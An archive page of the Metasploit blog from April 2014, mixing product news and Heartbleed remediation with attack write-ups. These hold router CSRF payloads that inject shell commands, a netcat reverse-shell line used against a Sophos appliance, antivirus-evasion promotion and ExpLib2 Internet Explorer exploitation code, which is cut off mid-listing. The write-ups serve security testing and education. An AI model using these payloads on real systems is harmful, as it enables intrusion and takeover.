Skip navigation
All Places > Metasploit > Blog > 2014 > April
2014

tshirt.jpgHey Hacker-Designers!

 

Remember about this time last year, we kicked off the Metasploit T-Shirt design contest to commemorate our shipping of 1,000 exploits and Metasploit's 10th Anniversary? Turns out, we had so many good designs and so much fun with that that we're doing it again this year. So let's see, what reason can we contrive this year...

 

We have 1,294 exploits now, that's 0x50e. There are 2196 exploits, auxiliary modules, and post-exploit modules today, or 04224 in octal. That's kind of fun, but no. We've had 24,276 commits since we started counting in 2005. That comes to 101111011010100 in binary. Eh.

 

How about this: We've had 72 distinct contributors to Metasploit since Jan 1, 2014. 72 is numerologically significant, right? Wikipedia has loads of interesting facts about 72. Let's go with that!

 

Metasploit 2014: As many authors as the average number of heartbeats per minute for a resting adult!

 

Okay. Maybe we don't need a reason after all. Heck, this sounds like my regular job -- convince strangers on the Internet to contribute to Metasploit in whatever weird and wonderful way they can.

 

Get creative with it, and let's get something together that you'd want see about 2,000 people wear around the Nevada desert in early August or so. The winner of the design will receive not only fame but a tiny bit of fortune: US$230, to be exact. We'll be accepting entries until May 8th, so get going!

 

Take a look at the contest page for details and to check out the competition. Unless, of course, you're totally confused about what Metasploit is, in which case, you should give the 14-day free trial of Metasploit Pro a whirl.

Many folks ask me how you can get started as a penetration tester. Save for a real-life penetration test, capture-the-flag (CTF) competitions hackers-dome.jpgare probably the most effective ways for you to hone your offensive security skills. What's best: they're a ton of fun, even for experienced pentesters. The folks over at CTF365.com have put together a one-off CTF called Hacker's Dome, which will start on May 17th and run for 48 hours, so save the date.

 

Hacker's Dome - First Blood CTF is a beginner/intermediate level which means that is open to anyone who wants to benchmark their hacking skills. Though it will last 48 hours the average time you're likely to spend on it would be few hours. The CTF is online only, leveraging the virtual platform from CTF365.com. Participants will get a VPN login to access the CTF network. First Blood winners will get prizes worth $6,000.

 

According to the CTF's rule page: “We design the challenges with public vulnerabilities or known misconfigurations. Most of them can be found on exploit-db.com or other public sources. We don’t target 0-day vulnerabilities, so you won’t have to disclose your knowledge about arcane methods for getting access to a machine. We use Kali and the basic tools for the purpose of demonstrating the concept of a CTF challenge when we discuss the technical aspects of a competition.”

 

At Rapid7, we're always happy to support these kind of community events, so we've donated one 1-year license of Metasploit Pro for the CTF raffle, which includes other awesome prizes. If you'd like to try out Metasploit Pro right now, or to participate in the CTF, you can download a free 14-day trial of Metasploit Pro.

 

You can participate the Hacker's Dome CTF for an fee of $46. The competition is free of charge for those of you who own a CTF365 Bronze Account and only $46 for those who wants just to play Hacker's Dome – First Blood CTF.

 

If this CTF sounds like a fun idea, block out that weekend and enroll now.

Scary-Sounding Flash Exploits

This week's update brings us two new exploits from Juan Vazquez, Boris dukeBarman Ryutin, Jean-Jamil Khalife, and a criminal conspiracy of superhackers. Yep, seriously.

 

That last bit is why these exploits deserve a special mention. These modules implement the attacks wrought by "Operation Snowman," and "LadyBoyle," two of the cooler-sounding names I've heard in a while. They allow for penetration testers to tell a story of True Crime, Ripped from the Headlines, Real True Story style. As we saw last week, vulnerabilities with human-memorable names and some effort made at marketing makes for great attention-grabbers. It's no different for exploits. While hands-on security folks talk about "MS08-067 NetAPI" a lot, it's really not all that attention-grabbing for someone who's only partly dialed in to security. Heck, hardly anyone remembers MS03-026, but lots of people remember "The Blaster worm."

 

In fact, I'd say that their spycraft-sounding names can only help you in your mission to convince management folks that the threats facing their organizations aren't "merely theoretical" (hat-tip to the l0pht), or some boring old list of CVE numbers. The fact is, the techniques used by these exploits started public life "in the wild" as "zero-day exploits." Dang, that sounds scary. Better ensure your Flash is up to date!

 

Re-engineering exploits like this is kind of the bread and butter of Metasploit, to be honest. Locally discovered vulnerabilities are great and all. Everyone loves them. But, while it might be a little less sexy in InfoSec, replicating known, proven criminal behavior in the form of a safe and reliable Metasploit module can really help move a security program along, with at least as much urgency as the not-yet-patched or recently-patched vulnerability.

 

Metasploit UK Meetup

vPbRNZn.jpg

In other news, I'm going to be in London, UK, next week.  I'll be in town partly for Infosecurity Europe 2014, partly for Security BSides London, and partly for a secret mission I cannot disclose at this time. So, if you're a Metasploit contributor who happens to be in town (or lives there) for these events, we should organize something. My twitters will work for meetups. If nothing else, you can make fun of my provincial beer tastes and the way I just spelt "organise."


In any case, it'll be a fun time. Rapid7 will have a stand at InfosecEU, which I will be close to for much of my time in England. If you're a contributor or user of Metasploit, please swing by and say hi!

 

New Modules

We have four whole new modules this week, half of which are the Flash exploits from Juan's band of thieves. We were a little busy last week with some particular bug on the Internet that I promised I wouldn't mention by name again in this blog post, at least until next week.

 

Exploit modules

 

Auxiliary and post modules

 

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows, either the totally free Metasploit Community Edition, or the 14-day free trial of Metasploit Pro. If you're the sort to track bleeding-edge development code, then these modules are but an msfupdate command away. For readers who are already using Metasploit Community or Metasploit Pro, you'll be able to install the new hotness today via the Administration : Software Updates button.

 

For additional details on what's changed and what's current, please see Chris Doughty's most excellent release notes.

And we're back!

 

So, full disclosure: I haven't written an update blog post in almost a month. I'm a terrible person, I know. The reasons are many, of course -- we had a Metasploit 4.9 release at the tail end of March, and then we had this Heartbleed thing happen in early April which still continues to dominate the thoughts and action of everyone I know. Yeah, I don't know many people outside of security. I'm kind of a loser like that.

 

That said, the Metasploit juggernaught stops for no single bug. The exploit elves have been hard at work bringing in new non-Heartbleed exploits, so let's take a look at what's actually new this week. But first...

 

I promise I won't say Heartbleed again

 

But give me one or two more paragraphs just to get it out of my system. Today's release has both an updated Heartbleed server-side module as well as the new Heartbleed client-side module. Since it's client-side, you can't just "scan" your infrastructure for this vulnerability; you need to get your network users to at least click a link. Lucky for you, though, you don't need to direct them to some site out on the Internet (and give away your security intelligence in the process).

 

Using the Metasploit module, it's pretty trivial to fire it up and test out your existing client software that you use and trust for SSL communications. Does your phone's browser link against a vulnerable version of OpenSSL? Are you sure? How about that curl-based cron job you've been running for the last six months to snag the latest Dogecoin prices and triggers your buy and sell orders? Software like that is notoriously difficult to identify, let alone test, but hopefully with this module you can at least solve that testing part.

 

I promise, I'll shut my yap about Heartbleed now, and just be thankful for the continued job security that it's providing for me and all my friends.

 

More Firefox skulduggery

People download crap from the Internet all the time. This is a demonstrable fact which causes no end of frustration to IT administrators and security-minded family members alike. "But I'm no dummy," your users (or mother) might say, "I don't use MSIE on Windows -- I use Firefox on a Mac! Totally safe and virus free!"

 

Well, Rapid7's own Joe Vennix has been on a tear with Firefox lately. He's got three more post modules for unlucky Firefox users -- a cookie stealer (actually, released with 4.9.2), a browser history revealer, and, best of all, a saved password dumper. These all get really useful if you happen to have a browser exploit that can take advantage of the Firefox privileged payloads. Oh, and by "exploit," you can take that to also mean, "a malicious add-on that the user opted into."

 

What this all boils down to is, the crafty penetration tester can use these Metasploit post-exploit modules to help illustrate the true risk to an organization from a Firefox-based compromise. That's a nice win.

New Modules

 

We have eight new modules this week for you, including the ones mentioned above. You know what to do.

 

Exploit modules

 

Auxiliary and post modules

 

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows, either the totally free Metasploit Community Edition, or the 14-day free trial of Metasploit Pro. If you're the sort to track bleeding-edge development code, then these modules are but an msfupdate command away. For readers who are already using Metasploit Community or Metasploit Pro, you'll be able to install the new hotness today via the Administration : Software Updates button.

 

For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

CSRFs -- or Cross-Site Request Forgery vulnerabilities -- occur when a server accepts requests that can be “spoofed” from a site running on a different domain. The attack goes something like this: you, as the victim, are logged in to some web site, like your router configuration page, and have a valid session token. An attacker gets you to click on a link that sends commands to that web site on your behalf, without your knowledge.

 

These vulnerabilities can be especially handy to attackers when trying to exploit something on the the victim's LAN. The most common way to spoof requests is just by sending an XMLHttpRequest (XHR) from a site under the attacker’s control: all browsers will let you send GET/POST with arbitrary data and content-type to a cross-domain endpoint. Of course, due to the Same Origin Policy (SOP), this is a “fire and forget” operation. There is usually no way to read the contents of the cross domain response:

 

var xhr = new XMLHttpRequest;
xhr.open('POST', 'http://192.168.1.1/ping.cgi', false);
xhr.send('?pingstr='+encodeURIComponent('& echo abc123 > /tmp/bin; chmod ..'));

 

The usual advice is to disable Javascript on untrusted sites, either through whitelisting or blacklisting, and usually using something like Mozilla's NoScript add-on. Does this mean NoScript users are immune to CSRF attacks? After all, without Javascript, an arbitrary domain can’t just fire off malicious XMLHttpRequests -- they don't trigger when Javascript is disabled.

 

How does NoScript help prevent CSRF?

 

Unfortunately, NoScript doesn’t actually do much to prevent CSRF. The obvious example is an <img> tag, which does a GET request on the src attribute, regardless of what domain is used. But POST routes are often more desirable, since they are supposed to be used for mutating server state.

 

The typical way an attacker will handle POST CSRFs on NoScript users is with a form that submits data to a cross domain endpoint, and get the user to unknowingly click it. The submit button is styled to take up the entire screen, and voila! You have a 1-click exploit:

 

 

<form method='post' action='http://192.168.1.1/ping.cgi' target='f'>
  <input type='hidden' name="pingstr" value="& echo abc12312..." />
  <input type='submit' value="" style="position:absolute;position:fixed;top:0;left:0;width:1200px;height:1200px;background:#fff;opacity:0;" />
</form>
<iframe name='f' id='f' style='position:absolute;left:-500px;top:-500px;height:1px;width:1px'></iframe>

 

So when the user clicks anywhere on the page, they submit the invisible form. The form’s target attribute is set to a hidden iframe, so that the unknown form submission does not even navigate the top-level page, so the user has no idea that a request just happened (this is handy for phishing).

 

Note: if the pingstr parameter looks familiar, you might have seen it in exploit/linux/http/linksys_wrt110_cmd_exec. Many of Metasploit’s router exploits can be triggered via CSRF.

 

Now, how to get the user to click the page? There are a million ways to do this, but one easy and reliable trick is to just put a “Redirecting…” link at the top of the page. Eventually the user will get tired of waiting for the redirect to load and will click the link (I know I do this at least).

 

What about non-HTTP protocols?

 

It is known that the UPnP interfaces in certain routers will take SOAP requests that can be easily spoofed, which can be abused to forward internal ports from the LAN on to the Internet. With AJAX, arbitrary data can be inserted into a POST request, by calling ajax.send(data).

 

But if you try and use the <form> vector, you will find that you cannot send arbitrary data after the request headers. You can set enctype="text/plain" on the form, which prevent the parameters from being formatted and URL encoded:

 

<form method='post' enctype='text/plain' action='http://192.168.1.1/upnp.cgi'>
  <input type='hidden' name="blah" value="<SOAP document...>" />
  <input type='submit' value="submit" style="position:fixed;top:0;left:0;width:1200px;height:1200px;background:#000;opacity:0;" />
</form>

 

But there will always be some leading garbage on the request (in this instance, the "blah=" string):

 

POST /ping.cgi HTTP/1.1
Host: 192.168.0.5:5000
Connection: keep-alive
Content-Length: 23
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://attacker.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36
Content-Type: text/plain
Referer: http://attacker.com
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8

blah=<SOAP document...>

 

Depending on the protocol, you can often find ways to turn that leading garbage into something that is ignored by the server, like an XML comment:

 

<input type='hidden' name="<!--" value="--><SOAP document...>" />

POST /ping.cgi HTTP/1.1
Host: 192.168.0.5:5000
Connection: keep-alive
Content-Length: 26
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://attacker.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36
Content-Type: text/plain
Referer: http://fiddle.jshell.net/_display/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8

<!--=--><SOAP document...>

 

Finally, one interesting fact of <noscript> CSRF exploits is that they can often be triggered straight from the user’s web-based email. Most webmail applications will alert the user when the submit button is clicked, often with a message along the lines of “You are submitting data to an external page, are you sure you want to do this?”. One accidental “OK”, and the victim’s router/webapp/internal device is owned.

 

Now, how can a NoScript user prevent this from happening? The short answer for now is "don't click anything on the Internet". Not terribly practical. Of course, you can inspect the source of every page you visit, just like you already inspect the source code of every software application you intend to install. Right, nobody actually does that -- Javascript obfuscation alone makes this basically impossible. So, to reiterate in TL;DR format:

 

In 2014, default NoScript techniques do not actually protect you against CSRF.

 

Sorry for maybe ruining your day. If you have any advice as to how to practically resolve this problem, feel free to comment below.

 

Update: NoScript ABE allows you to blacklist certain types of requests

 

Big thanks to commentor @ma1 for pointing out the ABE component of NoScript, available in NoScript Preferences -> Advanced -> ABE. ABE allows you to define which origins are allowed to communicate to one another. By default, requests from non-LAN sites to a host on the LAN are blocked. My testing on this issue was flawed and my initial results were incorrect. It would be interesting to see how ABE stands up to a DNS rebinding attack into a LAN. However, CSRFs are still very possible in noscript across other (non-LAN) origins, or from a "rogue" LAN host into another LAN host, unless you explicitly create rules to prevent this.

By guest blogger Shane Rudy, Information Security Manager, AOScloud, C|EH | E|CSA | L|PT | CPT | CEPT

 

A few weeks ago I was excited when Rapid7, asked me to participate in their 2014 Tech Preview Program for Metasploit Pro version 4.9 I have always enjoyed the interaction I have had with the talented crew over at Rapid7 and I have been a big fan of Metasploit Framework since its inception years ago.

 

Rapid7 has done an excellent job of interacting and allowing its users to participate within their community and they are a humble group of cool, fun people. This was only made more apparent during this year’s tech review program for the release of Metasploit Pro 4.9. The team was all about our feedback. Good or bad they wanted to hear it and they were open and honest and listened.

 

Metasploit Pro 4.9 has some great new features that we were all briefed on when the preview got under way and you can read more about them on your own time as you explore the product. For the purpose of this post I’ll talk about what I was the most excited about testing: Dynamic Payload Generation to avoid possible detection from anti-virus solutions.

 

As a penetration tester and especially for those who are starting out, bypassing AV is essential to a successful compromise of an organization. You do not want to experience a moment where you find a box you have a pretty good chance of owning and blowing the process by having your payload discovered by the organization’s defenses or having your payload detected during phishing or social engineering campaigns.  You also don’t want a company to get a false sense of security because they detected and stopped your attacks.  Years ago I was on a rather large penetration test for a company who trusted their AV a little too much. So much so that they would blow off patching their systems to a degree. So exploitation was pretty easy, however all my payloads got detected and I was reminded by their admin just how awesome their AV was. So what did I do? I researched their version of AV, its detection mechanisms and developed a payload to bypass their defenses. They were not happy about it when I showed them, but at least they knew they were not immune, that they needed to patch their systems and deploy additional countermeasures. Unfortunately the downside was that developing this took time away from the initial testing.

 

To avoid AV in the past I read many articles, tried many methods only to discover that most of the AV vendors had already caught up with these methods. I did have success re-coding and recompiling the source code of tools that typically would be detected such as injector programs and then using them in my payloads that I would drop onto a box (shown below) to get a Meterpreter shell and go unnoticed. It’s not pretty, I know, but it was quick and successful most of time. Since most AV solutions use signatures and heuristics to identify malware and have issues with in-memory detection my success rate was pretty good, but in certain situations it became inconvenient.

JavaPayload.jpg

JavaPayload2.jpg

 

To aid in helping users of Metasploit Pro bypass AV, Dynamic Payload Generation has gotten an overhaul in the recent version 4.9 release. Rapid7 tells us with Dynamic Payloads, you’ll have these advantages:

•    Evade all leading anti-virus vendors: Dynamic Payloads evade the top 10 AV solutions in more than 90% of cases. No AV vendor detects all MSP payload options!

•    More stable sessions: Dynamic Payloads use error corrections to make sessions more stable than regular MSF sessions

•    IPS Evasion through stage encoding: Stager will encode the traffic when downloading the payload, which can help evade IPS

In version 4.9 Dynamic Payload Generation has been incorporated into the user interface as shown:

payload_gen_gui.jpg

Just Select the Dynamic Payload (AV evasion) radio dialog, choose your stager and stage, fill in the local host (LHOST) and local port (LPORT) click Generate and you’ll be off and running.

 

For die-hard console guys like myself, dynamic stager generation has been incorporated into exploit modules that have EXE based payloads. For example if you look at the following exploit:

exploit/windows/fileformat/ms12_005 you will see a new DynamicStager option as shown:

exploit_dynamic_stager.jpg

Notice the description: Use Dynamic C-Stager if applicable (AV evasion). These stagers are available automatically in the pro console in any exploit that uses EXE payloads. I will mention that the old standalone /exploit/pro/windows/dynamic_exe that was available in past msfpro consoles has been removed. The Metasploit team is aware of this and will be looking to bring this back in the next update. It will be replaced with auxiliary/pro/generate_dynamic_stager. I just thought I would mention that for those of you who have used this feature in the past.

 

In my testing during the tech preview all Dynamic Payloads that I generated from Metasploit were not detected when ran against several major ant-virus vendors. I did briefly test the new feature against IPS and was able to slip through the cracks. My sessions never crashed during the testing.

 

My conclusion at this point is that Metasploit Pro is a pretty excellent product that can save you time trying to evade defenses and improve your success rate of conducting successful testing. The team of developers and product managers are a great group of people who desire to hear the feedback of their users. My experience with the team has always been that if you have a fix or a good idea that will improve or enhance Metasploit Framework they want to hear it.

 

I hope you found this blog post informative and stay tuned for more from me in the future. Until then Happy Hackin…

Sophos Web Protection Appliance vs 3.8.1.1 and likely prior versions was vulnerable to both a mass assignment attack which allowed privilege escalation, as well as a remote command execution vulnerability as root available to admin users. ZDI details the vuln here.

 

This Metasploit module exploits both vulnerabilities in order to go from an otherwise unprivileged authenticated user to root on the box. This is particularly bad because this appliance is what sits between the internet and a company's intranet, filtering all the HTTP traffic.

 

The first vulnerability is a mass assignment vulnerability. When a user changes their password, they have the ability to change other people's password hashes as well. Why this mechanism works this way is beyond my comprehension.

 

Within the request, one of the parameters contains a URL encoded JSON array of all of the users and the password hashes, as well as the active user's. An attacker can even change his own name to admin if he wants to. Abusing this, an attack can set the admin user's hash to a value of a known word (I chose notpassword). I do not know the hashing scheme (likely salted afaict), so I don't know how to generate dynamic hashes.

 

mass_assignment_sophos.png

 

The second vulnerability is a remote command execution vulnerability in the netinterface controller. There is no server-side validation of the IP address information sent which is then passed to commands run to update the static IP address information.

 

This one is a bit tricky as the attack doesn't seem to have a lot of space to work with. My first successful connect back was with telnet, and I found netcat worked and would give me a shell. I was not able to get any other payloads working. Although perl is installed, I was too limited in space it seemed to have the connect back run correctly. I settled on just using the cmd/unix/generic payload only and setting CMD to 'nc -c /bin/sh 192.168.1.31 4444'.

 

shell_as_admin_sophos.png

 

 

 

Once I knew how to make the two vulnerabilities work together, I knew how to write the Metasploit module. The user I am using is a limited account with only help desk permissions and will end up in a root shell.

 

sophos_wpa.png

 

If you know or suspect you're likely to run into a Sophos Web Appliance -- or any number of hundreds of other enterprise applications -- download Metasploit today and kick off your 14-day free trial.

heartbleed.pngMetasploit 4.9.0 and earlier vulnerable to Heartbleed, update 4.9.1 addresses critical cases

 

The Metasploit editions Metasploit Pro, Metasploit Express, and Metasploit Community in versions 4.9.0 or earlier are vulnerable to the OpenSSL Heartbleed Vulnerability (CVE-2014-0160). Please update to version 4.9.1 to remediate critical vulnerabilities. See below for remediation instructions.

 

Metasploit Framework itself is not affected, but it has dependencies on other components that may need to be updated. If you have installed Metasploit Framework through GitHub, please check these dependencies yourself (listed below) and update them. If you have used the Metasploit binary installer from Rapid7.com, you will have all below the dependencies on your system, and your Metasploit update will update each one of them. For more information, please see the remediation steps below.

 

Due to the nature of the vulnerability, SSL key material and passwords should be assumed to be compromised and changed.

 

Affected Metasploit dependencies

 

In the aforementioned Metasploit versions, the following Metasploit components use a vulnerable version of OpenSSL that needs to be updated:

  • Nginx
  • Ruby
  • Nmap
  • Postgres

 

In the aforementioned Metasploit versions, the following Metasploit components use a non-vulnerable version of OpenSSL:

  • Meterpreter

 

How to remediate the Heartbleed vulnerability in Metasploit

 

If you are running these versions, please follow the following steps to remediate the vulnerability:

 

  • Update Metasploit and its dependencies to a non-vulnerable version
    • If you installed Metasploit using the binary installer from Rapid7.com
      • Enter the Metasploit Web UI at https://<METASPLOIT_IP>:3790/
      • Go to the Administration menu and choose the Software Update option.
      • Follow the instructions on your screen to update the software to version 4.9.1 or higher.
    • If you are using the pre-installed Metasploit version on Kali Linux
      • On the command line, run: apt-get update && apt-get dist-upgrade
      • Kali Linux synchronizes its repositories with Debian every 6 hours
      • Verify that Nginx, Ruby, nmap and Postgres have updated to non-vulnerable versions
    • If you have used GitHub to install Metasploit Framework
      • Metasploit itself is not vulnerable, but you should check that you're running non-vulnerable versions of Ruby, nmap, and Postgres
  • Replace SSL keys that may have been compromised (Metasploit Pro/Express/Community only)
    • Stop Metasploit (linux: /etc/init.d/metasploit stop,  windows: Start Menu -> Metasploit -> Services -> Stop Metasploit)
    • Remove all files from INSTALL_DIRECTORY/apps/pro/nginx/cert (specifically ca.crt, server.crt, and server.key)
    • Start Metasploit (linux: /etc/init.d/metasploit start, windows: Start Menu -> Metasploit -> Services -> Start Metasploit)
    • Metasploit will regenerate new self-signed SSL keys.  You will need to accept these in your browser when visiting https://<METASPLOIT_IP>:3790/
  • Change all Metasploit Pro/Express/Community user passwords that may have been compromised

 

Updating to Metasploit 4.9.1 solves the most pressing Heartbleed vulnerabilities but does not address low-risk vulnerability in nmap

 

While Metasploit version 4.9.1 updates Heartbleed vulnerabilities to protect Metasploit users from the most pressing risks posed through nginx, Postgres and Ruby, it does not update nmap and nmap will still be vulnerable. Rapid7 will make the update to nmap available in the near future and believes that the current level of vulnerability in nmap poses acceptable risk in the short term:

 

Nmap uses client-slide OpenSSL to scan services. An attacker would have to set up an SSL-enabled web server on the target network that you are scanning and actively exploit the Heartbleed vulnerability when you scan it. Heartbleed does not grant code execution on the machine, just information disclosure for the process-specific memory. Nmap does not use credentials for scanning and all scanning data it keeps in memory could be obtained by simply scanning the network. There is also a small chance that an attacker would be able to crash the nmap process.

 

Rapid7 believes that the Heartbleed vulnerability in nmap poses acceptable risk and that remediating all other Heartbleed vulnerabilities immediately outweighes waiting until we have tested a non-vulnerable version of nmap. However, we are working on providing an updated Metasploit version that includes a non-vulnerable and quality tested version of nmap as soon as possible. Updates to this status will be advertised in this blog post.

 

Metasploit 4.9.1 and Nexpose both include scanners for Heartbleed vulnerabilities

You can now also use all Metasploit editions to scan your network for other server-side Heartbleed OpenSSL vulnerabilities. Find out more in this blog post. Rapid7's vulnerability management solution, Nexpose, also has vulnerability checks for Heartbleed vulnerabilities.

 

Learn how to protect your organization from Heartbleed

 

Metasploit is by far not the only application affected by Heartbleed. To learn how to strategically think about addressing this vulnerability in your organization, watch our free webcast with Trey Ford "Heartbleed War Room: Briefing, Strategy and Q&A (on demand).

 

UPDATE: Metasploit release 4.9.2 available, addresses nmap Heartbleed vulnerabilities (4/11/14, 2:20pm EDT)

 

Metasploit update 4.9.2 is now available, addressing the remaining low-risk Heartbleed vulnerability in the nmap scanner that is installed with the Metasploit binary installer. Please update your Metasploit edition using the  Metasploit web UI in the Administration menu under the Software Update option. Because the nmap vulnerability does not have the risk of leaking private data, you do not have to change SSL key material or passwords after this update.


NOTE: This update does not affect Metasploit on Kali Linux, which uses the Kali-provided nmap version. Please verify that the nmap version you are using on Kali Linux is up to date and not vulnerable.

 

 

If you have questions on this topic, please post a comment under this blog post or open a new discussion topic. If you are a Rapid7 customer, please feel free to contact our technical support team or your account executive for assistance.

Is the Internet down? Metasploit publishes module for Heartbleed

If you read this blog at all regularly, you're quite likely the sort of Internet citizen who has heard about the Heartbleed attack and grasp how serious this bug is. It's suffice to say that it's a Big Deal -- one of those once-a-year bugs that kicks everyone in security into action. OpenSSL underpins much of the security of the Internet, so widespread bugs in these critical libraries affects everyone.

 

heartbleed.png

 

The subsequently published exploits take advantage of a lack of bounds-checking on the "heartbeat" functionality of OpenSSL to leak data from a vulnerable implementation of OpenSSL to an attacker, and was discovered and reported by Google's Neel Mehta to the folks at OpenSSL.org. Here's a quick timeline of the bug from Metasploit's perspective and how we got to the resulting module, the OpenSSL Heartbeat (Heartbleed) Information Leak.

 

Apr 07, 2014 (Mon): Fix published to OpenSSL's git repository, here.
Apr 07, 2014 (Mon): CVE-2014-0160 Issue disclosed by Tomas Hogar of RedHat to the oss-security mailing list.

Apr 08, 2014 (Mon): Filippo Valsorda published an open source Heartbleed test

Apr 08, 2014 (Tue): Metasploit contributor Christian Mehlmauer provided a first-draft module, PR #3203

Apr 08, 2014 (Tue): William Vu and Juan Vazquez incorporated Christian's work on PR #3206, and land it.

Apr 10, 2014 (Thu): Metasploit Pro, Express, and Community module release (Planned)

 

So, within 24 hours of the fix to OpenSSL's repository, we kicked off a collaboration between Metasploit open source contributors, Rapid7 researchers, and various other members of the open source community to put out a safe, effective, and reliable means to test assets for exposure to Heartbleed. It was really great to see everything come together so that Metasploit's user community could start demonstrating the risk of this vulnerability to IT infrastructure stakeholders -- thanks tons to Christian, Juan, William, and Ben Campbell for working so smoothly together across continents to make this Metasploit module happen.

 

Have a screenshot!

heartbleed-remote-example.png

Yep, that's some private session data right there. Mine, actually. Don't steal it.

 

Next up, client attacks

Today, we are working on HD Moore's client-side module which stands up a malicious TLS server to leak client memory to an attacker. This is important because most people (myself included) have been discounting the client exposure of the bug in favor of the immediate threat of the server-side vector.

 

UPDATE: Metasploit Framework has a quite reasonable client-side module in the master branch -- the OpenSSL Heartbeat (Heartbleed) Client Memory Exposure. Thanks to everyone who made that happen so quick!

 

By now, everyone in IT should have some kind of plan together for addressing the sever side exposure, and it looks like things are ticking along there despite the somewhat chaotic first public disclosures. However, it's getting to be time to devote our attention to the client-side vector. After all, how hard is it to trick victims into clicking a link on the Internet?

 

I'd posit that it wouldn't be all that difficult to e-mail someone a link, who clicks on it from their their webmail client. An attacker could then subsequently grab session cookie details from the client's memory, allowing for a session hijack. Oops. So, if you have client software (browsers, IM clients, Dogecoin miners, etc.) which link against OpenSSL, you should start agitating for a patch from your own upstream providers before the attackers get bored of stealing random session data and private keys and turn their attention to this client-side vector.

 

Free Webcast with Trey Ford: Learn how to protect your organization against Heartbleed

We are offering a free webcast for IT professionals responsible for securing their networks against the OpenSSL Heartbeat vulnerability. Sign up for Rapid7's Heartbleed War Room - you can participate live or view it on demand once we have the recording up to get some more technical details on defending your enterprise and get strategic advice on how to attack this problem in your organization. Incidentally, there will be a longer-than-usual Q&A session at the end since a lot of people do tend to have questions about it. Seeya there!

This blog post was jointly written by Wei sinn3r Chen and Juan Vazquez

 

Memory corruption exploitation is not how it used to be. With modern mitigations in place, such as GS, SafeSEH, SEHOP, DEP, ASLR/FASLR, EAF+, ASR, VTable guards, memory randomization, and sealed optimization, etc, exploit development has become much more complicated. It definitely shows when you see researchers jumping through hoops like reverse-engineering some 0-day vulnerability and the software, turning a use-after-free crash into an arbitrary write, leak an object and disclose a module base, and customized ROP and shellcode. Watching an exploit developer work is like watching a nice kung fu movie: you see him trying to thrust, hack, kick, hitting left and right, from the ground all the way to rooftops, and then next thing you know he just popped a shell. It's all very fancy. Oh, and it's real.

 

Despite all the fanciness of modern exploitation, security researcher Yuki Chen (who is the exploit dev version of Bruce Lee) took a different turn. If you're not much of a Bruce Lee fan, well, Lee was really big in the philosophy of simplicity. In his words:

Screen Shot 2014-04-03 at 1.42.06 PM.png

“It’s not the daily increase but daily decrease. Hack away at the unessential.”

What Yuki Chen wanted to do was avoid dealing with the hassle of EAF, DEP, shellcode, and other things. Basically, going for the most straight-forward punch with the least amount of effort. His idea of simplicity and the creation of ExpLib2 are what make him so Bruce Lee. However, we notice that the security community hasn't been talking about his stuff much, so here we'd like to go over his work on ExpLib2 more in depth, hopefully to spark more interest.


ExpLib2 is basically Yuki's exploitation library for Internet Explorer. To be able to use this, it assumes you already have a bug for an arbitrary write. And then you will have to use this bug to modify the length field of an array in memory, and you tell the library where it is, what payload to run, and that's all it needs from you. To give you an idea how much you're writing for the exploit, take a good look at the following example:


function modifyArray() {
  // Use your bug and modify the array here
  // For testing, we do: ed 1a1b3000+18 400
}

function example() {
  var num_arrays = 98688;
  var arr_size = (0x1000 - 0x20)/4;
  var explib = new ExpLib( num_arrays, arr_size, 0x1a1b3000, new payload_exec('calc.exe') );
  explib.setArrContents([0x21212121, 0x22222222, 0x23232323, 0x24242424]); // There is a default one too
  explib.spray();
  modifyArray();
  explib.go();  // Code execution
}






































The go() function from ExpLib2 will then use the information initialized by you and leak objects in order to figure out where the security manager is, makes a copy of it, have it modified (and patches other necessary functions), that way the ScriptEngine functions will end up using your fake security manager, and execute your payload in "god mode". This is pretty much the summarized version of the technique, which is also briefly explained in the original paper by Yuki, "Exploit IE Using Scriptable ActiveX Controls", but let's take a closer look at this magic trick.



Heap Spraying

 

As you can see from the above example, an array is sprayed (on the heap), and here's why: Heap spraying is a common technique to place something at a predicable location in memory, in this case so ExpLib2 can modify it to perform an information leak. JavaScript arrays are also much easier to work with, because in memory there's no randomization or any alignment problems, which yields predictability. As an optional reading, a recent presentation titled "The Art of Leaks: The Return of Heap Feng Shui" by ga1ois is a good one that explains better about array spraying in Javascript, which you might find interesting.

 

The following is the exact routine that ExpLib2 uses for spraying, and we'll explain about how it works:

 

ExpLib.prototype.spray = function() {
  this.arr_arr = new Array( num_arrays );

  var decl = "[";

  for ( var i = 0; i < this.arr_size - 1; ++ i ) {
    decl += '0,';
  }

  decl += '0';
  decl += ']';

  for ( var i = 0; i < num_arrays; ++ i ) {
    this.arr_arr[i] = eval(decl);
    for(var j = 0; j < this.arr_contents.length; j++) {
      this.arr_arr[i][j] = this.arr_contents[j];
    }
  }
}




































 

To use this spray() function, first off we need to initialize ExpLib2. We'll ask it to create 20 members for the array. Every member has the size of (0x1000 - 0x20) /4 (more about this later). And we expect the library to store one of the array members at this address: 0x1a1b3000

 

var explib = new ExpLib( 20,  (0x1000 - 0x20)/4 , 0x1a1b3000, new payload_exec('calc') );
explib.spray();




































 

Once the spray() function is called, the spraying begins. In the beginning, the 20 members are filled with zeros using an eval'ed array:

 

var decl = "[";
for ( var i = 0; i < this.arr_size - 1; ++ i ) {
  decl += '0,';
}
decl += '0';
decl += ']';




































 

Each member is (0x1000 - 0x20) / 4 big. What happens under the hood for the array creation can be examined in the Js::InterpreterStackFrame::OP_ProfiledNewScIntArray function in Jscript9.dll:

 

int __thiscall Js::InterpreterStackFrame::OP_ProfiledNewScIntArray<0>(int this, int a2)
{
  .......

  if ( v8 )
  {
    v9 = *v8;
    if ( !(v9 & 1) )
    {
      // Js::JavascriptLibrary::CreateNativeIntArrayLiteral(uint)
